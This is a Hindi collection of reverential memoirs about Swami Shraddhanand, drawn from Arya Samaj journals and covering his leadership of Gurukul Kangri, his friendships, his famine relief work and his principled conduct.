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स्वामी श्रद्धानंद के जीवन के कुछ अलभ्य संस्मरण

स्वामी श्रद्धानंद , इस नाम का स्मरण होते ही मस्तिष्क में ऊँचा कद, चेहरे पर गंभीरता, वाणी में दृढ़ता लिए एक महामानव का नाम स्मरण हो जाता हैं जिन्हें जाति निर्माता कहूँ या फिर अमर शहीद कहूँ या फिर त्याग और तपस्या की मूर्ति कहूँ या मार्ग दर्शक कहूँ या फिर दलितौद्धारक कहूँ । स्वामी जी का विशाल जीवन कदम कदम पर प्रेरणा दे हैं। उन महामानव के जीवन के कई ऐसे मोती हैं जो जीवन की अविचल धारा में लुप्त से हो गये हैं। पर हर बहुमूल्य मोती एक महाधन से कम नहीं हैं, उनकी प्रेरणा से न जाने कितनो के जीवन बदले हैं और न जाने कितनो के बदल सकते हैं।

ऐसे महान आत्मा के जीवन के कुछ अलभ्य संस्मरणों को एकत्र कर उनका लेखबध करने का सौभाग्य प्रदान करने के लिए ईश्वर का कोटि कोटि धन्यवाद। आशा हैं की जीवन में इसी प्रकार ईश कृपा हम पर बनी रहेगी।

१. एक रात्रि भोजन के पश्चात हम दोनों भाइयों ने प्रधान जी (पिता जी) से प्रार्थना कि की हम दोनों अकेले में उनसे कुछ बातें करना चाहते हैं, गुरुकुलीय जीवन शायद यह पहला अवसर था,जब हमने पिताजी से अलग बात करने का समय माँगा हो, अन्यथा वह दोनों को सदा अन्य ब्रह्मचारियों के समान भाव से ही देखते रहे। हमारी प्रार्थना से पिताजी को आश्चर्य हुआ, तो भी उन्होंने हमारी प्रार्थना स्वीकार कर ली। और हम दोनों को साथ लेकर उसी समय गुरुकुल वाटिका में लेकर चले गये। वहा टहलते टहलते भाई जी ने पिताजी से अपने मन का भाव कहा। भाव यह था की हम दोनों गुरुकुल की शिक्षा से संतुष्ट नहीं हैं। इस शिक्षा से हम दोनों पंडित नहीं बन सकेगे। पंडित बनने के लिए काशी में शिक्षा आवश्यक हैं। हमें पंडित शिव कुमार मिश्र,पंडित जयदेव मिश्र और श्री भागवताचार्य जैसे पंडितों से शिक्षा पाने का अवसर मिलेगा। आप हमें गुरुकुल से उठा कर बनारस भेज दीजिये।

हमारे उस प्रस्ताव से पिताजी को जो मानसिक धक्का लगा होगा, उसका अनुमान लगाकर मेरा दिल अब भी काँप उठता हैं। जिस व्यक्ति ने गुरुकुल शिक्षा की स्थापना के लिए अपना सर्वस्व लगा दिया हो। उसके लड़के ही निष्फलता और निराशा का सन्देश लेकर आये तो उस व्यक्ति के ह्रदय पर आघात होना स्वाभाविक ही हैं, पिता जी हमारा प्रस्ताव सुनकर चुप हो गए। बहुत देर तक तीनों मौन मुद्रा में घूमते रहे। यह अनुभव करके की हमारे शब्दों ने पिताजी को बहुत दुखी किया हैं, हम दोनों स्तब्द से हो गये। पिता जी मन में क्या विचार उठ रहे होगे इसका अनुमान ही लगाया जा सकता हैं।

कुछ देर चुप चाप टहलने के पश्चात पिता जी ने बड़े शान्त भाव से कहा, “मैं तुम्हारी बातों का उत्तर कल दूँगा”

दुसरे रोज हम बड़ी उत्सुकता से उत्तर की प्रतीक्षा करने लगे। तरह तरह के विकल्प मन में उठ रहे थे।

कभी सोचते की पिताजी बनारस भेज देंगे, न भेजना होता तो उसी दिन इन्कार कर देते। फिर विचार उठता की भेजना होता तो उसी समय मान भी तो सकते थे अवश्य इन्कार करेंगे। इसी तरह संकल्प-विकल्प करते साँय काल का समय आ गया। साँयकाल पढाई से छुट्टी होने पर कमरे से बाहर निकले तो प्रधान जी का चपरासी हाथ में एक कागज लेकर आता हुआ दिखाई दिया। उस कागज में निम्न लिखित आशय की आज्ञा लिखी हुई थी,” भोजन से निवृत होकर दो बड़ी श्रेणियों के सब ब्रहमचारी मुख्याधिस्थाता जी के निवास स्थान पर एकत्र हो।” इस आज्ञा से हम दोनों भाइयों की दुविधा और भी बढ़ गई। क्या हमारे प्रस्ताव का उत्तर सभी के सामने दिया जायेगा।

भोजन के उपरांत ऊपर की श्रेणियों के सब ब्रहमचारी प्रधान जी के स्थान पर एकत्र हुए। प्रधान जी ने बड़े प्रसन्न भाव से ब्रहमचारियों को यह समाचार सुनाया की दोनों बड़ी श्रेणियों को देहरादून यात्रा करवाने का निश्चय किया गया हैं। इतना समाचार मात्र हम पिंजरे के पक्षियों को फड़काने के लिए प्रयाप्त था। हमने अभी हरिद्वार भी अच्छी तरह नहीं देखा था। देहरादून की यात्रा होगी यह जानकर हम दोनों बहुत ही प्रसन्न हुए।

प्रधान जी ने अत्यंत आकर्षक शब्दों में यात्रा का सार कार्यकर्म हमारे सामने रखा। साँय काल के समय चलेगे। रात को मायापुर वाटिका में ठहरेंगे। सुबह स्टेशन पर पहुँच कर तुम लोगों को यह समझाऊंगा की इंजन से रेल कैसे चलती हैं। देहरादून पहुँच कर जंगलात का ऑफिस, ऑब्जर्वेटरी आदि संस्थायें देखने को मिलेगी। फिर सहस्त्र धारा चलेंगे, इत्यादि इतनी नई चीजें इकट्ठी देखने की आशा उत्पन्न करने के अनन्तर प्रधान जी ने हमारे जिम्मे कई काम लगा दिए। कल कागज मँगवा दिए जायेंगे। तुम लोग यात्रा के नोट लेने के लिए स्वयं जिल्द वाली डायरिया तैयार कर लो। सब मैले कपड़ो को धो डालो। चार दिन के लिए खैर की दातुनों को इकट्ठी कर लो। यात्रा के लिए भंडारी, सहायक भंडारी उसी समय नियत कर दिए गए। इस प्रकार यात्रा और यात्रा की तैयारी का पूरा कार्यकर्म हमारे दिल और दिमाग में भरकर प्रधान जी ने हमें सोने के लिए आश्रम में भेज दिया।

मेरे अध्ययन और निजी अनुभव से जितने मनोवैज्ञानिक परिक्षण आये हैं, उनमें शायद ही कोई इतना सफल हुआ हो। जितना पिताजी का यह मनोरंजक परिक्षण हुआ, मैं इसे उनकी नेतृत्व शक्ति का सबसे प्रबल प्रमाण मानता हूँ। मनुष्यों का नेता वही हो सकता हैं, जो उनके मनों को अपनी इच्छा अनुसार सांचे में ढाल सके और ढाल भी ऐसे सके की उनके अनुयायियों को यह भी मालूम न हो की उन्हें कुछ का कुछ बना दिया गया हैं। देहरादून की यात्रा के प्रस्ताव ने हम दोनों के मन में से बनारस जाने की इच्छा के खंडरों तक को निकल कर बाहर फेंक दिया। रात को जब हम सोने के लिए आश्रम में पहुँचे तो हमारे ह्रदयों में से निराशा विदा ले चुकी थी और उत्साह भरा हुआ था। हमारे कल रात के प्रस्ताव का पिताजी की ओर से यह क्रियात्मक उत्तर था।

देहरादून की यात्रा हम दोनों भाइयों के जीवन में एक पड़ाव की हैसियत रखती थी। उस यात्रा का ब्रहमचारीयों के मन और ह्रदय पर बहुत गहरा असर हुआ, बाहर की दुनिया से अलग रहने के कारण हमारे मन की पस्लेट लगभग साफ थी। उस पर ब्राह्य संसार के जो पहले अक्षर लिखे गये, वह बहुत ही स्पष्ट और गहरे थे। हम लोग केवल संस्कृत ज्ञान के श्रद्धालु रूप में यात्रा के लिए चले थे। जन वापिस आये तो विज्ञान कला आदि की जिज्ञासा से पूर्ण थे। यह वह मनोवैज्ञानिक परिक्षण था जो पिताजी ने ब्रहाम्चारियों के मन पर किया था।

सन्दर्भ- गुरुकुल पत्रिका दिसम्बर १९५२-लेखक पंडित इन्द्र विद्यावाचस्पति जी

स्वामी श्रद्धानन्द – धर्म और सम्प्रदाय में क्या अंतर हैं ?

संसार के सम्प्रदाय धर्म की रक्षा के लिए स्थापन किये गए थे , परन्तु आज वे ही सम्प्रदाय मूल धर्म को भूल कर गौण मतभेद के धर्म के वादानुवाद में लगे हुए हैं। जिस प्रकार शरीर को जीवित रखने के लिए अन्न-फल आदि के आहार की आवश्यकता हैं , इसी प्रकार आत्मिक जीवन की संरक्षा के लिए भी धर्म रुपी आत्मिक आहार की आवश्यकता होती हैं। शरीर रक्षा के लिए अन्न और फल मुख्य है, परन्तु उसी अन्न और फल की रक्षा के लिए खेत वा वाटिका के इर्द-गिर्द बाड़ लगानी पड़ती हैं। कैसा मुर्ख वह इंसान हैं, जो अन्न-फल को भुलाकर अन्य किसानों की बाड़ो से ही अपनी बाड़ का मुलाबला कर उनका तिरस्कार करता हैं? इसी प्रकार जीवात्मा का आहार धर्म अर्थात प्रकृति के संसर्ग से छुट कर परमात्मा में स्वतंत्र रूप से विचरण मुख्य हैं। उसकी रक्षा के लिए जो सांप्रदायिक विधियां नियत की गई हैं, वे खेतों की बाड़ों के सदृश ही गौण हैं। कितना मुर्ख वह सांप्रदायिक पुरुष हैं, जो गौण नियमों के विवाद में फंसकर अपने मुख्य धर्म को भूल जाता हैं।

आचार परमो धर्म अर्थात धर्म की सबसे उत्तम परिभाषा आचार अर्थात आचरण को कहा गया हैं। इसलिए आचरण को पवित्र बनाने पर जोर दीजिये साम्प्रदायिकता पर नहीं।

(सन्दर्भ- राष्ट्रवादी दयानंद – लेखक सत्यदेव विद्यालंकार से साभार)

स्वामी श्रद्धानंद का सबसे बड़ा गुण था संगठन निर्माण करना

आर्य समाज के कार्यकर्ताओं को जब भी वे किसी भी प्रकार की विपत्ति में पाते तो झट उनकी सहायता को निकल पड़ते। लाला लाजपत राय के देश निर्वासन के समय आपने उनके समर्थन में लेख लिखकर ब्रिटिश सरकार को खुलेआम चुनौती दी थी जबकि लाला जी आपके प्रमुख आलोचकों में से थे। बहुत कम लोगों को ज्ञात हैं की आपने महाशय चिरंजीलाल जी के लिए अभियोग लड़ा था। आर्यसमाज के अनन्य प्रचारक महाशय चिरंजीलाल जी पंडित लेखराम के समान वैदिक धर्म के प्रचार प्रसार में अपना तन,मन, धन समर्पित करने वाले प्रचारक थे। १९ वर्ष की आयु में आपने १८७७ में स्वामी दयानंद के दर्शन लुधियाना में किये थे। बस तभी से आपने वैदिक धर्म का प्रचार करने की ठान ली थी। परन्तु एक तो आपका विवाह हो चूका था ऊपर से आपके पिताजी की मृत्यु होने से घर का सार बोझ आपके ककंधो पर आ चूका था। १०-१२ वर्ष तक आपने किसी प्रकार धैर्य किया और दुकानदारी से कुटुम्ब का भरण पोषण करने लगे। जब छोटा भाई कार्य भार सँभालने योग्य हो गया तो आप प्रचार कार्य में निकल पड़े। इनके प्रचार का साधन इन्ही की बनाई हुई पंजाबी की सी हर्फियाँ होती थी। उन्हें यह उर्दू में छपवा लेते और गा-गा कर उनका प्रचार करते थे। आप पर एक अभियोग भी चला जिसके कारण आपको ४ मास की सजा हुई और ५० रुपये का दंड मिला। आपके लिए महात्मा मुंशीराम ने अपील की जिससे आप छूट गए पर कुछ काल तक आपको जेल में रहना पड़ा था। कारावास की कहानी करुणाजनक हैं। इस कारावास ने आपके प्रचार को द्विगुणित कर दिया।

संगठन निर्माणकर्ता वही बन सकता हैं जो अपने सहयोगियों के दुःख और दर्द में उनका साथ दे।

सन्दर्भ- आर्य प्रतिनिधि सभा पंजाब का इतिहास- भीमसेन विद्यालंकार

व्यक्ति बड़ा अपने तप और त्याग से बनता हैं

गुरुकुल कांगड़ी भारतीय शिक्षा इतिहास में मील के पत्थर के समान हैं। गुरुकुल केवल मात्र शिक्षण संस्था न होकर स्वामी श्रद्धानन्द द्वारा किया गया महान यज्ञ था जिसकी प्रत्येक आहुति के रूप में स्वामी जी ने अपना सर्वस्व बलिदान कर दिया था। जिस समय स्वामी जी (तब मुंशीराम) गुरुकुल खोलने की जब योजना बना रहे थे तो उस समय पंजाब प्रतिनिधि सभा के लाला रलाराम और राय ठाकुरदत्त से गुरुकुल के स्थान को लेकर मतभेद था। उनका प्रस्ताव था की गुरुकुल पंजाब में खोला जाना चाहिए। जबकि महात्मा जी का विचार उसे हरिद्वार में खोलने का था। गुरुकुल के लिए उस काल में ३०००० रुपये एकत्र करना एक भारी कार्य था जिसे महात्मा जी ने अनेक कष्टों को सहते हुए पूरा किया। महात्मा जी ने धन एकत्र करने के पीछे से उनके परिवार पर भारी कर्ज का भोझ लद गया। इस पर राय ठाकुर दत्त ने उन्हें सलाह दी की महात्मा जी कुछ समय सार्वजानिक जीवन से अवकाश लेकर अपने परिवार की आर्थिक स्थिति संभाल ले। महात्मा मुंशीराम इस बात के लिए तैयार हो गए और अपने निजी कार्य में लग गये। इस बीच महात्मा जी की अनुपस्थिती का लाभ उठाकर रायठाकुर दत्त ने आर्य प्रतिनिधि सभा पंजाब में गुरुकुल की निति के समक्ष में अपनी ओर से कुछ परिवर्तन प्रस्तावित कर दिये। जब महात्मा मुंशीराम जी को इस बात का पता चला तो वे सभी कार्यों को छोड़कर आर्य प्रतिनिधि सभा के अधिवेशन में जा उपस्थित हुए। यह महात्मा जी का व्यक्तित्व था जिसके कारण राय ठाकुर दत्त का एक भी प्रस्ताव पास नहीं हुआ। मुंशी राम जी ने अपनी सूझ बुझ से गुरुकुल की रक्षा उसके खुलने से पहले कितने कष्टों को सहते हुए की , इसकी कल्पना मात्र से रोंगटे खड़े हो जाते हैं। उत्तम कार्यों को करने में जो कष्ट होते हैं उनको सहन करना ही तप कहलाता हैं।

साभार-आचार्य रामदेव जी के लेख

एक राष्ट्रवादी मुस्लिम का स्वामी श्रद्धानन्द से प्रेम

स्वामी श्रद्धानन्द जी महाराज के स्वाभाव, मृदुता, शालीनता और सोम्यता से प्रभावित होकर उनके अनेक प्रशंसक बन गए थे जिनमे न केवल हिन्दू थे अपितु ईसाई और मुसलमान दोनों थे। ऐसे ही स्वामी जी एक भगत थे जिनका नाम था मौलाना आसफ अली बार एट लॉ। आप दिल्ली के मशहूर वकील थे और क्रान्तिकारी अरुणा आसफ अली के पति थे। आपने हिन्दुस्तान रिव्यु नामक अखबार में स्वामी जी की शहादत के पश्चात एक लेख लिखा था जिसमे आप लिखते हैं

“१९१८ में दिल्ली में कांग्रेस के अधिवेशन में स्वामी जी को स्वागत कारिणी समिति का उपप्रधान चुना गया और मुझे सहकारी मंत्री चुन गया था। मुझे स्वामी जी के साथ कार्य करने का बहुत अवसर मिला। आपकी स्नेहमह उदारता, अपूर्व सज्जनता, नम्रता और निष्कपट मैत्री ने शीघ्र ही मुझे वशीभूत कर लिया। उन की गुरुजन सुल्म सौम्यता और स्नेह और मेरी ओर से भक्ति और सम्मान के भावों ने हमारे बीच में एक ऐसा प्रगाड़ सम्बन्ध उत्पन्न कर दिया जो अनेक विषयों पर हम में तात्विक विरोध होने पर भी अंत तक बना रहा।”

सन १९२२ में लेखक की मियावाली जेल में स्वामी जी से फिर भेंट हुई, जिनकी सजा के अब थोड़े ही दिन बाकि रह गए थे। जैसे ही आपको मालूम हुआ की स्वामी जी वहाँ हैं-“मैं उनकी कोठरी की और बेतहाशा दौड़ पड़ा।स्वामी जी ने दोनों बाहें फैला कर मेरा स्वागत किया और बड़े स्नेह से मुझे गले लगाकर अपने पास बैठा लिया। ”

मियावाली जेल में भी स्वामी जी गीता, रामायण या दर्शन पर उपदेश देते थे। कैदियों को जिस सत्संग का सुअवसर और कहीं न मिल सकता वह इस जेल में हाथ आता। प्रेमियों की एक मण्डली रोज जमा हो जाती थी। मौलाना आसफ अली ने बड़े शौक से गीता रहस्य माँग कर पढ़ा और जब कभी उन्हें कोई शंका होती तो स्वामी जी बड़े हर्ष से समाधान कर देते थे। कभी राजनीति पर बात चल पड़ती, कभी दर्शन पर और कभी फारसी साहित्य पर। स्वामी जी फारसी साहित्य के बड़े अच्छे मर्मज्ञ थे। मौलाना रूम की मसनवी से आपको बहुत प्रेम था।

मौलाना आसफ अली का स्वास्थ्य उन दिनों कुछ अच्छा न था। शरीर मैं रक्त की कमी थी। चेहरा पिला पड़ गया था। स्वामी जी को उनकी दशा देख कर चिंता हुई। वाह! कितना सच्चा वात्सल्य भाव था। खुद जेल में थे, सभी प्रकार के कष्ट सह रहे थे, पर मौलाना अली के यह दशा देखकर अपने उनके लिए एक दूसरी कोठरी चुन दी जिसमे धुप और प्रकाश स्वछंद रूप से मिल सकता था। उनके आहार के सम्बन्ध में भी जेलर से सिफारिश कर दी, जो स्वामी जी का बहुत लिहाज़ करता था। यह सद्व्यवहार था, यह सज्जनता थी जो परिचितों को भी उनका भगत बना देती थी।

बड़े आदमी और छोटे आदमी में क्या अंतर होता हैं

(स्वामी श्रद्धानन्द जी महाराज के विषय में मेरे प्रेरणादायक संस्मरण-पंडित देवराम जी)

एक बार स्वामी श्रद्धानन्द जी के दांत में अत्यंत पीड़ा उठी। पीड़ा से उन्हें तीव्र ज्वर भी हो गया। डॉ सुखदेव ने उन्हें दवा आदि देकर आराम करने को कहा और उनकी देखरेख के लिए दो-दो घन्टे की बारी रात्रि में गुरुकुल में पढ़ने वाले ब्रहमचारियों की लगा दी।

तीन बजे से पाँच बजे तक में मेरी बारी थी। मैं तीन बजे से कुछ पहले स्वामी जी के कक्ष में पहुच गया। पिछली बारी वाला मुझे आया देख चला गया। मैं चुपचाप कुर्सी पर बैठ गया की महात्मा जी की नींद में कोई बाधा न हो। मैंने विचित्र बात देखी की तीन बजे का घंटा बजते ही महात्मा जी उठ गए। मैंने उनसे पुछा की रात को दर्द का क्या हाल रहा। उत्तर मैं उन्होंने इन्हीं शब्दों में कहा-भाई दर्द तो बहुत था पर मैं चुपचाप पड़ा रहा। नींद भी नहीं आई। मैं देखता था, ब्रहमचारी आते थे। अपनी नींद पूरी करके चले जाते थे। मुझे तो आदत नहीं अपनी तकलीफ दुसरे को कहूँ और कष्ट दूँ। अच्छा जाओ, अब तो मैं जग गया,तीन बजे तो मैं उठ ही जाया करता हूँ। इस घटना ने मुझ पर असर किया। मैंने देख लिया की बड़े आदमी और छोटे आदमी में की अंतर होता हैं। बड़े आदमी अपने कष्ट को कुछ नहीं मानते और दूसरों के कष्टों को दूर करने की उनमें फिक्र रहती हैं। और छोटे आदमी को दुसरे के कष्ट की कोई फिक्र नहीं होती अपने ही कष्ट की ही सदा चिन्ता रहती हैं।

स्वामी जी के अलंकारों की यह उज्जवल वृति उनके सारे जीवन में चमकती दिखती हैं।कष्ट में भी व्रत का पालन करने से मनुष्य मनुष्य बनता हैं, पक्का बनता हैं , समाज सेवक बनता हैं। स्वामी जी की उज्जवल वृति पक्ष हमारे अँधेरे अंतकरण में उजाला करे।

स्वामी श्रद्धानंद को अपने जीवन में सफलता कैसे मिली ?

संसार का भला करने वाले केवल वे मनुष्य नहीं हैं जो केवल विद्वान हैं और न वे मनुष्य हैं जो बड़े बड़े शब्द रटकर लम्बे लम्बे व्याख्यान दे सकते हैं क्यूंकि वे मनुष्य जो कुछ कहते हैं उनको मन से अनुभव नहीं करते।

उन ही मनुष्यों के जीवन से जगत का कल्याण हुआ हैं और हो सकता हैं जो सदाचारी हैं, नेक हैं और जिनका मन पवित्र हैं।

स्वामी श्रद्धानंद ने जो अपने जीवन में सफलता प्राप्त की उसका कारण उनकी विद्या न थी, उनका वकील होना न था और न ही उनकी मीठी वाणी थी, बल्कि विशेष कारण उनका आचारवान होना था। वे जो कुछ कहते थे उस पर आचरण भी करते थे। उनकी आत्मा सुद्ध थी इसलिए उनके कथन का प्रभाव पड़ता था। जो कोई भी मनुष्य उनका सत्संग करते थे वे अत्यंत प्रभावित होते थे। स्वामी जी अपने कर्तव्य को अनुभव करते हुए ईश्वरीय नियमों और सच्चाई का निडरता से प्रचार करते थे। वह अपने असल अमूल से कभी नहीं डगमगाए। उनका वैदिक धर्म प्रचार इस कारण से प्रभावित करता था की वे दृढ़ता से अपने जीवन में उसका पालन करते थे। उनका ईश्वर के प्रति विश्वास दृद था। घोर निराशा में भी उन्होंने बलवती आशा का संचार किया था और कितने ही भटकते हुओं को सन्मार्ग पर लगाया था।

(सन्दर्भ- स्वामी जी के सहयोगी लब्भूराम नैय्यड़ कृत धर्मोपदेश की भूमिका)

स्वामी श्रद्धानन्द के अनन्य भक्त एवं शिष्य पंडित धर्म देव विद्या मार्तण्ड जी के स्वामी जी के विषय में अलभ्य संस्मरण

सन्दर्भ- सार्वदेशिक दिसम्बर १९४६ अंक

सन १९२६ का संभवत अप्रैल मास था। मैं उन दिनों मुल्तान गुरुकुल में आचार्य था। सन १९०९ में गुरुकुल मुल्तान के लिए भूमि दान देने वाले चौधरी रामकृष्ण ने कुसंगति में पढ़कर पीछे से गुरुकुल के अधिकारीयों को इतना तंग कर दिया था की उन्हें उस भूमि और मकानों को छोड़ कर दूसरी जगह गुरुकुल को ले जाने को बाधित होना पड़ा था। सन १९२६ में चौधरी रामकृष्ण से उन मकानों का दाम प्राप्त करने के लिए गुरुकुल मुल्तान के संचालकों ने मुकदमा किया था और गुरुकुल की स्थापना के समय जो पंजाब आर्य प्रतिनिधि सभा के अधिकारी थे जिनमे श्रदेय स्वामी श्रद्धानन्द जी प्रमुख थे उन्हें साक्षी के लिये आमंत्रित किया गया था।

स्वामी जी महाराज का बड़ा विशाल यहाँ तक की मुल्तान के इतिहास में अभूत पूर्व जुलुस निकला गया। हमें पीछे से ज्ञात हुआ की चौधरी रामकृष्ण भी स्टेशन से कुछ दूरी पर किसी जगह खड़े खड़े उस विशाल जुलुस को देख और श्रदेय स्वामी जी के प्रभाव को देख कर दंग हो रहा था। उसने सब जगह यह बात फैला रखी थी की संसार में कोई शक्ति नहीं जो मुझे इस अभियोग में पराजित कर सके। यहाँ की छोटी मोटी अदालतों की तो बात ही क्या हैं, मैं हाई कोर्ट में हारने पर भी प्रिवी कौंसिल तक मुकदमा लडूँगा। मेरा कोई बाल भी बांका नहीं कर सकता।

आदालत में मुकदमा प्रारंभ हुआ। सबसे पहले साक्षी श्रदेय स्वामी जी महाराज की थी। मैं उस अदालत मैं उपस्थित था। श्री स्वामी जी महाराज ने अपने सरल स्वाभाव से मुलतान गुरुकुल के लिए चौधरी रामकृष्ण द्वारा भूमि मिलने और उस पर मकान आदि बनवाने का सारा विवरण सुनाया। हम लोगों के आश्चर्य का ठिकाना न रहा जब हमने देखा की स्वामी जी की साक्षी समाप्त होते ही चौधरी राम कृष्ण ने १० हजार रुपये नकद वही दे दिये और शेष राशी के लिए स्टाम्प पेपर लिख दिया तथा कुछ ही समय में उसे चुका दिया। यह था ‘ऋतस्य श्लोको बधिरा ततर्द’ इस वेद वाक्य तथा ‘सत्यमेव जयते नानृतम’ इस उपनिषद वाक्य कि सत्यता क प्रत्यक्ष उदहारण जो उपस्थित सज्जनों ने बड़े आश्चर्य के साथ देखा।

स्वामी श्रद्धानन्द के अनन्य भक्त एवं शिष्य पंडित धर्म देव विद्या मार्तण्ड जी के स्वामी जी के विषय में अलभ्य संस्मरण

सन्दर्भ- सार्वदेशिक दिसम्बर १९४६ अंक

सन १९१८ में जब गढ़वाल में अकाल पड़ा था तो स्वामी जी महाराज ने अकाल पीड़ितों की सहायता का विशाल आयोजन किया और अपने मानसिक पुत्रों (जिन मे हम सब गुरुकुल के विद्यार्थी सम्मिलित थे) को इस यज्ञ में अपनी अपनी आहुति देने के लिए निमंत्रित किया। इस आदेश के समय हम उस समय महा विद्यालय विभाग के प्राय : सब ब्रहमचारी सेवा कार्यार्थ वहा पहुच गए और श्रदेय स्वामी जी की अधीनता में कार्य करने लगे। मुझे क्यूंकि पूज्य आचार्य जी के साथ पौड़ी, रूद्रप्रयाग, उत्तर काशी, केदारनाथ आदि अनेक स्थानों में जाने और कार्य करने का सौभाग्य प्राप्त हुआ था अत: मैं जानता हूँ की उनका ह्रदय कितन सहानुभूति और संवेदन शील था, किस प्रकार पीड़ितों की अवस्था को देखकर उनकी आँखों में आंसू आ जाते थे तथा उनके दुःख निवारणार्थ वे आतुर रहते थे। कई बार वे १८,२० मील तक हमारे साथ चलते थे। और अपने आराम की तनिक भी चिन्ता न करते थे। उन्हीं दिनों की बात हैं की गढ़वाल के एक स्थानीय पत्र में किसी आर्यसमाजी सज्जन ने वहा की सामाजिक कुरीतियों के विरुद्ध एक लेख लिखा जिससे गढ़ वाली जनता में खलबली मच गई और कुछ अविवेकी गढ़वालियों ने आर्यसमाज के सर्व मान्य नेता के रूप में स्वामी श्रद्धानन्द जी पर ही आक्रमण करने का निश्चय किया और इस उद्देश्य से पौड़ी (गढ़वाल की राजधानी में) एक सभा बुलवाई। इसकी सुचना अपने कुछ भक्तों द्वारा पाते ही (जिन्होंने जिन्होंने उनसे निवेदन किया की वे पौड़ी न जाये ताकि दुष्ट उन पर किसी प्रकार का आक्रमण उस उत्तेजित अवस्था में न कर बैठे). वीर केसरी स्वामी श्रद्धानन्द जी महाराज न केवल रूद्र प्रयाग से पौड़ी पहुचे बल्कि उस सभा में भी जा पहुचे जहाँ उनके विरुद्ध बड़ी भयंकर उत्तेजना फैलाई जा रही थी। वीर नर सिंह के उस सभा में पहुचते ही सारा वायु मंडल परिवर्तित हो गया और स्वामी जी के निंदासूचक प्रस्ताव के स्थान में चारों और से उनकी सेवाओं के लिए अभिनन्दन किया जाने लगा। यह था निर्भयता का आदर्श जो ईश्वर के सच्चे भगत उन वीर सन्यासी ने प्रत्येक समय दिखाया था और जिसके कारण सब विरोधिनी शक्तियों पर विजय प्राप्त करने में वे सफल हुए थे।

कविराज पंडित धर्मदत्त जी विद्या अलंकार जी के संस्मरण

सन्दर्भ गुरुकुल पत्रिका दिसम्बर १९७४

१. जब तक मैं विद्यालय में रहा मुझे स्मरण हैं की हर इतवार के प्रात: काल छात्रों के हवन के बाद उनका उपदेश हुआ करता था। जब मैं कॉलेज में आ गया तब उनके वह सिलसिला तो टूट गया पर उन्होंने ऐसा प्रबंध किया था की महीने में एक उपदेश छात्रों को किसी महान व्यक्ति का हो जाया करे। इससे मैं देखता था की छात्रों को चरित्र बनाने में सहायता मिलती थी।

२. दूसरे वे प्रात: काल के व्यायाम पर या ड्रिल पर विशेष ध्यान देते थे। उस समय कोई व्यायाम शिक्षक या ड्रिल मास्टर जरुर रहता था जो लड़को को व्यायाम की शिक्षा देता था। उन्होंने एक अच्छा gymnasium भी गुरुकुल में बनवाया हुआ था जहाँ लड़के व्यायाम करते थे। साँय काल के समय किसी न किसी खेल या games या अखाड़े कुश्ती करना भी उन्होंने अनिवार्य किया हुआ था। कभी कभी वे स्वयं अखाड़े में आते थे तथा खेल के मैदान में भी जाकर कभी कभी वे स्वयं लड़कों को खेलता हुआ देखते थे और खेल के लिए उत्साहित करते थे।

३. उन दिनों कॉलेज में एक हिंदी वाग्वर्धिनी , एक संस्कृत प्रोत्सहिनी तथा एक English club ये तीन सभाएँ समय समय पर हुआ करती थी, जिनमें लड़के बोलने का अभ्यास करते थे। मुझे संस्मरण हैं की मैंने उन्हें English club में एक बार भाषण देने की प्रार्थना की थी। उन्होंने एक सुन्दर भाषण दिया था जिसका विषय Nationalism था।

4. उन दिनों कॉलेज के लड़के हर मास एक हस्त लिखित पत्रिका निकलते थे। एक बार एक पत्रिका संपादकत्व में भी निकली थी। पुस्तकालय में रखने से पहले उस पर आचार्य के हस्ताक्षर जरुरी थे। मैं उनके हस्ताक्षरों के लिए पत्रिका उनको दे आया। अगले दिन जब मैं उस पत्रिका को लेने गया तो देखा की वे बड़े क्रोध में थे, बोले की क्या तुमने गुरुकुल में हत्यारों की बड़ाई करना सीखा हैं? तुम इन पन्नों को फाड़कर फिर इस पत्रिका को लाओ। मैंने उस पत्रिका में बंगाल के क्रांतिकारी लड़को की जिन्होंने कुछ अफसरों का खून किया था की बड़ाई की हुई थी। यह बात जब कि हैं जब महात्मा गाँधी अभी हिंदुस्तान आये भी न थे, जब गाँधी जी के सत्य और अहिंसा की कोई चर्चा भी न थी। जब मैंने उन पन्नों को फाड़ दिया तब उन्होंने उस पर हस्ताक्षर किये।

(मेरे विचार से स्वामी जी की यहाँ पर दूरदर्शिता प्रदर्शित होती हैं क्यूंकि गुरुकुल पर अंग्रेज अफसर सदा से ही देश द्रोही होने की सम्भावना व्यक्त करते थे-लेखक)

५. एक बार एक गुरुकुल जन्मोत्सव की सभा में जिसके सभापति महात्मा मुंशीराम जी थे, औरों के अतिरिक्त मैंने भी भाषण दिया था और कहा था की गुरुकुल की विशेषता यह हैं की यहाँ पर पूर्व और पश्चिम का अच्छा मिश्रण हुआ हैं। सभा के अंत में सभापति के भाषण में उन्होंने मेरी बात का उल्लेख देते हुए कहा की वर्तमान शिक्षा प्रणाली में यहाँ तक की डीएवी कॉलेज में भी पाश्चात्य विषयों की शिक्षा पर ज्यादा बल दिया जाता हैं। दूसरी और बनारस आदि की प्राचीन पाठशालाओं में प्राचीन शिक्षा पर बल दिया जाता हैं। परन्तु इस दोनों प्रकार के विषयों के सम्मिश्रण करने की शिक्षा प्रणाली के उद्देश्य से मैंने इस गुरुकुल की स्थापना की थी।

६. जब वाइसराय साहब ने उन्हें मिलने के लिए दिल्ली बुलाया था तब वह से लौट कर उन्होंने अक्षरश: जो दोनों की बातें हुई थी वह सब सभा में सुनवाई थी। उनकी स्मृति शक्ति इतनी की उन्होंने अक्षरश: सारी बात दुहराई थी। उनका अभीप्राय: यह था की वाइसराय साहब को यह रिपोर्ट दी जा रही हैं की गुरुकुल में बगावत की शिक्षा दी जाती हैं। महात्मा जी का जवाब था की आपको जो रिपोर्ट दी जा रही हैं वह गलत हैं। गुरुकुल की स्थापना इसलिए हुई हैं की वह से सदाचारी, पूर्ण शिक्षित विद्वान निकले न की हत्या करने वाले हत्यारे। इस पर चेम्सफोर्ड साहब को संतोष हो गया था और बाद में वे गुरुकुल में पधारे भी थे। हमने देखा की वे तथा संयुक्त प्रान्त के गवर्नर सर जेम्स मेस्टन जो लीचे लार्ड मेस्टन हो गये उनके कितना सम्मान करते थे। उन्होंने गुरुकुल को आर्थिक सहायता देने की बात छेड़ी पर महात्मा जी ने पूरी तरह इनकार कर दिया।

